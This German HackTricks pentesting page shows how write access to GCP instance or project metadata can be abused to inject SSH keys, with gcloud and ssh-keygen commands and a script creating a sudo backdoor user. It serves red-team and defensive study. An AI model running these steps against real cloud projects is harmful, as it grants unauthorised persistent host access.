GCP - Add Custom SSH Metadata

GCP - Hinzufügen von benutzerdefinierten SSH-Metadaten

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Ändern der Metadaten

Die Änderung von Metadaten auf einer Instanz kann zu erheblichen Sicherheitsrisiken führen, wenn ein Angreifer die erforderlichen Berechtigungen erlangt.

Integration von SSH-Schlüsseln in benutzerdefinierte Metadaten

Auf GCP führen Linux-Systeme häufig Skripte aus der Python Linux-Gastumgebung für Google Compute Engine aus. Ein wichtiger Bestandteil davon ist der Accounts-Daemon, der dazu dient, regelmäßig den Instanz-Metadaten-Endpunkt auf Aktualisierungen der autorisierten SSH-Public Keys zu überprüfen.

Daher könnte ein Angreifer, der benutzerdefinierte Metadaten ändern kann, den Daemon dazu bringen, einen neuen öffentlichen Schlüssel zu finden, der verarbeitet und in das lokale System integriert wird. Der Schlüssel wird in die Datei ~/.ssh/authorized_keys eines bestehenden Benutzers hinzugefügt oder möglicherweise einen neuen Benutzer mit sudo-Berechtigungen erstellen, abhängig vom Format des Schlüssels. Der Angreifer kann dann den Host kompromittieren.

SSH-Schlüssel zu einem vorhandenen privilegierten Benutzer hinzufügen

  1. Vorhandene SSH-Schlüssel auf der Instanz überprüfen:

  • Führen Sie den Befehl aus, um die Instanz und ihre Metadaten zu beschreiben und vorhandene SSH-Schlüssel zu lokalisieren. Der relevante Abschnitt in der Ausgabe befindet sich unter metadata, speziell unter dem Schlüssel ssh-keys.

gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • Achten Sie auf das Format der SSH-Schlüssel: Der Benutzername geht dem Schlüssel voraus, getrennt durch einen Doppelpunkt.

  1. Vorbereiten einer Textdatei für SSH-Schlüsselmetadaten:

  • Speichern Sie die Details von Benutzernamen und ihren entsprechenden SSH-Schlüsseln in einer Textdatei mit dem Namen meta.txt. Dies ist wichtig, um die vorhandenen Schlüssel zu erhalten und neue hinzuzufügen.

  1. Generieren eines neuen SSH-Schlüssels für den Zielbenutzer (alice in diesem Beispiel):

  • Verwenden Sie den Befehl ssh-keygen, um einen neuen SSH-Schlüssel zu generieren, wobei darauf geachtet wird, dass das Kommentarfeld (-C) mit dem Zielbenutzernamen übereinstimmt.

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • Fügen Sie den neuen öffentlichen Schlüssel zu meta.txt hinzu, wobei das Format aus den Metadaten der Instanz nachgeahmt wird.

  1. Aktualisieren der SSH-Schlüsselmetadaten der Instanz:

  • Wenden Sie die aktualisierten SSH-Schlüsselmetadaten auf die Instanz mit dem Befehl gcloud compute instances add-metadata an.

gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. Zugriff auf die Instanz mit dem neuen SSH-Schlüssel:

  • Verbinden Sie sich mit SSH mit dem neuen Schlüssel mit der Instanz und greifen Sie auf die Shell im Kontext des Zielbenutzers (alice in diesem Beispiel) zu.

ssh -i ./key alice@localhost
sudo id

Erstellen eines neuen privilegierten Benutzers und Hinzufügen eines SSH-Schlüssels

Wenn kein interessanter Benutzer gefunden wird, ist es möglich, einen neuen Benutzer zu erstellen, dem sudo-Berechtigungen erteilt werden:

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

SSH-Schlüssel auf Projektebene

Es ist möglich, den SSH-Zugriff auf mehrere virtuelle Maschinen (VMs) in einer Cloud-Umgebung zu erweitern, indem SSH-Schlüssel auf Projektebene angewendet werden. Dieser Ansatz ermöglicht den SSH-Zugriff auf jede Instanz innerhalb des Projekts, die nicht explizit projektweite SSH-Schlüssel blockiert hat. Hier ist eine zusammengefasste Anleitung:

  1. SSH-Schlüssel auf Projektebene anwenden:

  • Verwenden Sie den Befehl gcloud compute project-info add-metadata, um SSH-Schlüssel aus meta.txt zu den Metadaten des Projekts hinzuzufügen. Diese Aktion stellt sicher, dass die SSH-Schlüssel auf allen VMs im Projekt erkannt werden, es sei denn, eine VM hat die Option "Projektweite SSH-Schlüssel blockieren" aktiviert.

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. SSH-Zugriff auf Instanzen mithilfe projektweiter Schlüssel:

  • Mit projektweiten SSH-Schlüsseln können Sie auf jede Instanz innerhalb des Projekts zugreifen. Instanzen, die projektweite Schlüssel nicht blockieren, akzeptieren den SSH-Schlüssel und gewähren Zugriff.

  • Eine direkte Methode, um sich bei einer Instanz anzumelden, besteht darin, den Befehl gcloud compute ssh [INSTANZ] zu verwenden. Dieser Befehl verwendet Ihren aktuellen Benutzernamen und die auf Projektebene festgelegten SSH-Schlüssel, um den Zugriff zu versuchen.

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated